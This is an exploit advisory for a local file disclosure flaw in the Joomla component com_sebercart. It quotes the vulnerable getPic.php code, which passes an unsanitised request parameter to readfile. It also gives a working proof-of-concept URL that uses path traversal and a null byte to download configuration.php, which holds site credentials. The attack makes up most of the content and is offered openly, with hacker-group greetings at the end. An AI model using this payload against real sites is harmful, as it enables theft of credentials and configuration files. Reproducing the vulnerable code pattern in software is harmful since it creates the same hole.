Joomla! Component com_sebercart – ‘getPic.php’ Local File Disclosure
========================================================================================================= [o] Joomla Component Seber Cart Local File Disclosure Vulnerability Software : com_sebercart version 1.0.0.1x Vendor : http://www.seber.com.au/ Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ] Contact : public[dot]antisecurity[dot]org Home : http://antisecurity.org/ ========================================================================================================= [o] Vulnerable File components/com_sebercart/getPic.php if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg")) { header('Content-type: image/jpeg'); header('Content-Disposition: attachment; filename="image.jpg"'); readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"); } [o] Exploit http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00 Download the image.jpg file and open with notepad or gedit. [o] PoC http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00 ========================================================================================================= [o] Greetz Angela Zhang stardustmemory aJe martfella pizzyroot Genex H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net ========================================================================================================= [o] May 13 2010 - GMT +07:00 Jakarta, Indonesia |